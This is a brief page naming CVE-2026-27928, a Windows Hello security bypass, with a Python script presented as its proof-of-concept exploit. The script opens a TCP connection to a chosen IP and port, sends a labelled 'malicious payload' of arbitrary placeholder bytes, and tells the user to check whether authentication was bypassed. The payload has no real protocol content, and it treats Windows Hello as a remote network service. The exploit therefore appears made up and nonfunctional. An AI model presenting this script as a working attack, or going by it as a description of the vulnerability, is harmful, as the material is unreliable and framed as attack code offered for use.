CVE-2026-27928 Windows Hello安全功能绕过漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-27928 (Windows Hello Bypass) # This script demonstrates the concept of bypassing input validation. import socket import sys def send_exploit(target_ip, target_port): try: # Establish connection to the target service print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((target_ip, target_port)) # Crafted malicious payload to bypass validation # Structure: [Header][Malicious Input][Padding] header = b"\x00\x01\x02\x03" # Malicious input designed to trigger the logic flaw malicious_payload = b"\xff\xfe\xfd\xfc\x00\x00\x00\x00" payload = header + malicious_payload print("[*] Sending malicious payload...") s.send(payload) # Receive response response = s.recv(1024) print(f"[+] Received response: {response}") print("[+] Check if authentication was bypassed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 exploit.py <IP> <PORT>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) send_exploit(target, port)